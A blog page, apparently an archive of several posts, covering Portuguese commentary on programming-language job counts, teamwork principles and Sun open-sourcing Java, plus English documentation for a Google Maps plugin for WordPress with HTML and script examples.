Matbukha se come fria, como entrada com pão sírio ou outro pão, e é deliciosa.

Linguagens de Programação na Indústria

Um artigo da eWeek relaciona algumas linguagens e os motivos pelos quais deve-se aprender cada uma delas.

Um dado interessante do artigo é o número de vagas de trabalho disponíveis no mercado, para cada skill de linguagem, extraidas de dice.com.

Coloquei em ordem crescente de número de vagas:

  1. Ruby e Ruby on Rails :: Job availabilities: 210 and 54, respectively
  2. Python :: Job availabilities: 811
  3. AJAX :: Job availabilities: 1,106
  4. PHP :: Job availabilities: 1,152
  5. VB.Net :: Job availabilities: 2,090
  6. JavaScript :: Job availabilities: 4,406
  7. Perl :: Job availabilities: 4,810
  8. C# :: Job availabilities: 5,111
  9. C :: Job availabilities: 6,164, including all derivatives
  10. Java :: Job availabilities: 14,408

Note que os números nada tem a ver com a qualidade, funcionalidade ou facilidade inerente da linguagem de programação/tecnologia. Mas os números parecem dar uma pista da presença, maturidade e ecossistema de cada uma delas no mercado.

É o que um amigo meu diz: “Tu tem que ir de megafone para a avenida Paulista as 12:30 e perguntar quem é que manja de tal tecnologia ou produto. Esse é um bom indicador de seu ecossistema.”

Colaboração e Teamwork

Growth CycleFui a um seminário sobre liderança, colaboração e teamwork.

Tirando os cliches inevitáveis, uma coisa eu gostei que foi dita: colaborar de forma eficiente e benéfica é ainda um desafio, mesmo nesta nossa era de tecnologia avançada. Bem, reconhecer o problema é o primeiro passo para resolve-lo.

Altos executivos da IBM foram questionados certa vez sobre os pontos que levam a um bom ambiente de teamwork e colaboração, que depois foram validados com a NASA (se não me falha a memória) e com a American Society for Quality (se não me falha a memória). O resultado foi este:

  1. Procurar oportunidades de colaboração no seu dia-a-dia.
  2. Considerar as conseqüências e impactos nos outros antes de agir.
  3. Estar aberto para diversidade e pontos de vistas distintos.
  4. Comunicar de formar aberta e honesta.
  5. Construir confiança e respeito mútuo.
  6. Buscar alternativas que tragam ganhos para ambas as partes.
  7. Encorajar inovação e idéias criativas.
  8. Buscar a melhor solução para o seu time na resolução de problemas.

A Mais Importante Notícia do Ano

Open Source JavaA Sun abriu o código fonte de sua implementação do Java.

Teria muitas coisas positivas para falar sobre isso, mas o Kov já disse boa parte, e o Simon Phipps também.

Faltava no mundo Open Source uma linguagem/tecnologia de desenvolvimento universal, madura, altamente padronizada com portabilidade em mente, e com ecossistema vigoroso em toda a indústria. Java tem todos estes atributos.

Essa carência, somado ao fato de Java não ser instalado automaticamente quando se instalava qualquer Linux (por questões de lincenciamento), fervilhava o idealismo da comunidade Open Source fazendo os programadores lançarem mão de outras linguagens/tecnologias que ou tem portabilidade questionável (como C, C++, por causa de suas bibliotecas), ou que ainda não se estabeleceram com maturidade, performance e ecossistema industrial (como PHP, Perl, Python, Ruby), ou ambos (como C#, Mono). O resultado na indústria é uma descentralização de skill de desenvolvimento de software de negócio.

Java entrando no cenário Open Source muda tudo isso. Será benéfico para o ecossistema de Computação Aberta, e principalmente para o de Linux como plataforma de negócio.

Minha previsão agora, é que as JVMs da IBM, Bea etc serão também abertas em breve para logo depois se fundir numa JVM/JDK única de alta performance, portável, modular, facilmente instalável, e de bem estabelecido ecossistema.

É a maior notícia do ano para TI. Talvez da década.

Google Maps Plugin for WordPress

This software will let you easily render Google Maps anywhere on your blog as a web service. It also includes code for easy integration with WordPress blogs, but what the code does best can actually be used with any other blog system or plain web page.

This plugin will let you easily create from simple maps with one marker and a text balloon, to complex multimarker maps with hypertext balloons as this page.

Installation on WordPress Blogs

Install it as any other plugin (unziping plugin files under [WORDPRESS_ROOT]/wp-content/plugins directory and activate it in WP Plugins admin tool). Then go to the Google Maps API key signup page, get an API key for your website, and install it in the plugin’s admin page under Options.

Google Maps WP admin page

Creating Simple Maps

This is the easy part.

  1. Go to Google Maps, find the spot you want to show, select Map, Satelite or Hybrid view buttons, double-click on the most important point on the map to centralized it, and define the zoom factor you want.
  2. On the left-top corner of the map, click on the “Link to this page” link, and copy your browser’s location to the clipboard. You can do the same for complex maps created on the My Maps section of Google Maps website.

    Link selection

  3. While creating the post, select the text that will be displayed on the map marker, and create a link with it.

    Select text for the map's mrker

  4. Paste the map URL on the Link URL field, and on Title write “googlemap“.

    Link creation dialog

  5. Continue editing your post and publish.

You are done. This example will render a map like this (don’t forget to click on the marker to see the balloon):

TuxThis will be a map’s marker text with an image.

Passing Parameters

You may have noticed that on the Title field above we used other commands. In fact you can use the following switches, separated by “;” to control the way the map will appear in your site.

googlemap
Instructs the plugin to transform this link into a Google Map area. If not used, the plugin will not work on the link and you’ll get a plain link to the Google Maps site.
nocontrol or nocontrols
Renders a map without the zoom and scale controls
nomarker or nomarkers
Renders a map without the marker with the information balloon.
w:SIZE_IN_PIXELS and h:SIZE_IN_PIXELS
Defines the size of the map area in pixels.
w:PERCENT% and h:PERCENT%
Defines the size of the map area relative to full width and height.

Since other plugins may use the title attribute, you can also put these commands in the rel attribute and activate this functionality in the plugin configuration dialog.

Some examples for the Title (or rel) field:

googlemap
Renders a map with controls, marker an default sizes, as specified in the plugin’s admin page, under WP Options.
googlemap;nocontrols;w:300;h:200
Renders a 300×200 map with marker but no zoom controls.
googlemap;nomarker;nocontrols;w:100;h:100
Renders a small 100×100 map without marker and zoom controls.
googlemap;nomarker;nocontrols;w:100%;h:300
Renders a maps that fills the full width available with a 300 pixels height, without markers and zoom controls.

Creating Complex Maps

This procedure requires some HTML knowledge, but will let you create maps with multiple markers, and results as good as on this post.

The proccess consists of creating a definition list (<dl> XHTML element) of a center point and markers with their text balloons.

Learn by example. Pay attention to the following complex map, and select all its markers to see the text inside their balloons:

Center of map
map
Center of São Paulo
map
Flea market
map
Traditional market
balloonless marker
map
Japanese town

It was generated by this (X)HTML code:

<dl title="googlemap;w:100%;h:400">
	<dt><a href="http://maps.google.com/?z=15&ll=-23.550887,-46.631985&om=1">Center of map</a></dt>

	<dt><a href="http://maps.google.com/?ll=-23.550592,-46.633122">map</a></dt>
	<dd><strong>Center of São Paulo</strong></dd>

	<dt><a href="http://maps.google.com/?ll=-23.547563,-46.631041">map</a></dt>
	<dd>Flea market</dd>

	<dt><a href="http://maps.google.com/?ll=-23.54535,-46.627693" title="marker">map</a></dt>
	<dd>Traditional market</dd>

	<dt><a href="http://maps.google.com/?ll=-23.54715,-46.637263">balloonless marker</a></dt>

	<dt><a href="http://maps.google.com/?ll=-23.555195,-46.635547" title="marker">map</a></dt>
	<dd>Japanese town</dd>
</dl>

So the structure must folow these rules:

  1. Create a definition list (<dl>) and put map-related commands and parameters on title= attribute as specified above.
  2. First definition term (<dt>, first green line) must contain only a link to Google Maps site, to define its center and other map parameters. The text for the link is ignored when a map is generated, so use a text like “Center of Map” so people accessing your posts outside your blog (for exemple, through feed readers) will have a clue what is this link for.
  3. The rest is a pair of terms and definitions (<dt> and <dd>) with the marker position (as a Google Maps URL) and the text on the balloon respectivelly.
  4. You can create a balloonless markers specifying only a <dt> without a <dd>.
  5. Whatever you put inside the <dd> block will appear inside the balloon. Put links, images, lists, tables, etc.

Using Google My Maps or KML and GeoRSS maps

You can use Google My Maps service to create and manage colorfull markers, paths, regions and the text inside the balloon, and simply use the “Link To This Page” link to embed the map in your page as described above.

The plugin will use the KML-exported version of your map to create the balloons, markers, regions and paths. Simply exaplained, KML is XML dialect that contains all meta information of your maps: markers positions and images, line colors, balloon texts, etc. You can create KMLs with tools like Google Earth, Goole Maps or even using a plain text editor. GeoRSS format is also supported but can’t be used for paths, regions and markers colors, only plain geographical positions.

The good news is that you can embed KML-maps from any source, and not only from Google My Maps. You can upload a KML file to your web server and pass it to the plugin to render it. Here is an example on how to do it in a more advanced way:

<dl title="googlemap;w:100%;h:400" id="my-wonderful-map-with-kml">

	<dt><a href="http://maps.google.com/?z=7&ll=-23.550887,-46.631985&om=1">Center of map</a></dt>

	<dt><a title="kml" href="http://my.server.com/spots-on-the-farm.kml">markers</a></dt>

	<dt><a title="kml" href="http://my.server.com/spots-on-the-beach.kml">more markers</a></dt>

</dl>

This example will render a map centralized on geo position -23.550887 -46.631985 and overlay it with two KML specifications: spots-on-the-farm.kml and spots-on-the-beach.kml. Note the required title=”kml” parameter that indicates to the plugin that this is KML or GeoRSS overlay and not a plain marker position.

Positioning and Style Possibilities

To have better control over the map positioning and overall look, you can manually edit the HTML code while posting, including style and class attributes. Find the <a> or <dl> tag for your link and use this examples to get some clues:

  • <a style=”float:left; width:300px; height:300px;” title=”googlemap”
    Renders a 300×300 map floating on left of the paragraph. See example.
  • <a class=”photo” style=”float:right;” title=”googlemap”
    Renders a map with default dimensions floating on the right of the paragraph, with style class photo, that in my theme defines some margins and borders.
  • <dl style=”visibility: hidden;” title=”googlemap”
    Using style=”visibility: hidden” will make the browser hide the map definititon text while loading the page. Seconds later, when the plugin renders the maps on your page, the hidden blocks will finaly appear as maps.

The HTML attributes id=, style= and class= you specify will be inherited by the generated map.

In addition, a CSS class called map will be added to all maps, and to all balloons a CSS class named balloon will be assigned. This way you can define your own style for these elements.

Troubleshooting

Some common problems people have, and solutions.

  • Map does not appears or appears on a different geo locationMake sure the Google Maps URL you are pasting is correct and complete. A correct URL must have the following parameters: ll= required to define latitude and longitude for center of the map or a marker, om= option to show or not the overview map on bottom-right, z= required to define the initial zoom factor, t= option to define if map is plain, satellite or hybrid, msid= required if you are pasting My Maps from Goole Maps website.
  • Problems with &You should not have problems with & chars being modified by the WordPress editor. If so, it means you are working with complex maps. Yes, WordPress WYSIWYG editor sucks a little bit. So if you are working with complex maps, you should switch to the plain text editor. You can’t just open the post editor in WYSIWYG and select the plain text editor after that. The mess was already done. You will have to edit your profile under Users->Your Profile and deselect the “Use the visual editor when writing” options when you edit that post. Once it is saved you can reselect it again.
  • Grey area instead of markers, or simply don’t have markersGoogle Maps API uses a lot of CSS style to render its maps on your page. This problem is caused by a conflict between CSS needed by Google Maps and your page or theme defined style. Use Firefox’ DOM inspector to drill down into your document structure until you find the markers XHTML nodes. Then switch to CSS Style Rules mode on the inspector, then select a rule that was defined by your theme, on the top-right box, then delete “background-” related properties on the bottom-right box, one by one, until the marker appears. This will indicate you which property you have to delete from your theme’s or own style.css file.
  • Problems displaying the map on IE7

I still don’t know what is the problem here. I rarely use Windows nor IE, so I can’t reproduce it. This is probably caused by the same CSS conflict above. If you can correctly see the map on this page with IE7, indicates that the problem is specific to your page and related stylesheets. You must debug your CSS styles.

No WordPress ?

If you use other blogging systems, or just want a simple way to create maps on your pages you can still take advantage of this plugin.

Download the plugin, unzip, install its content somewhere on your server accessible from the web. Then edit the HTML source of the pages you want to render maps, find the <head> block, and include the following code inside of it:

<!-- Google Maps Plugin (begin) -->
<!-- http://avi.alkalay.net/2006/11/google-maps-plugin-for-wordpress.html -->

<!-- Google Maps API -->
<script src="http://maps.google.com/maps?file=api&v=2.x&key=MY_API_KEY" type="text/javascript">
</script>

<!-- Google Maps Plugin logic -->
<script src="http://my.site.com/path/to/plugin/googlemapsPlugin.js" type="text/javascript"></script>

<!-- Google Maps Plugin initialization -->
<script type="text/javascript">
	//<![CDATA[

	MapPluginInit(
		/* Default maps width  */          500,
		/* Default maps height */          300,
		/* Use rel instad of title? */     false);
	//]]>
</script>

<!-- Google Maps Plugin (end) -->

Change the red parts to fit your needs. Every page containing the above block will be able to render simple and complex maps as described.

About

This plugin was inspired on Macdiggs Google Maps plugin, but was completely redesigned, rewritten, has much more functionality, made more user friendly, has cleaner code and is more standards oriented. The former Macdiggs’ plugin will not receive updates anymore so this is the plugin you should be using.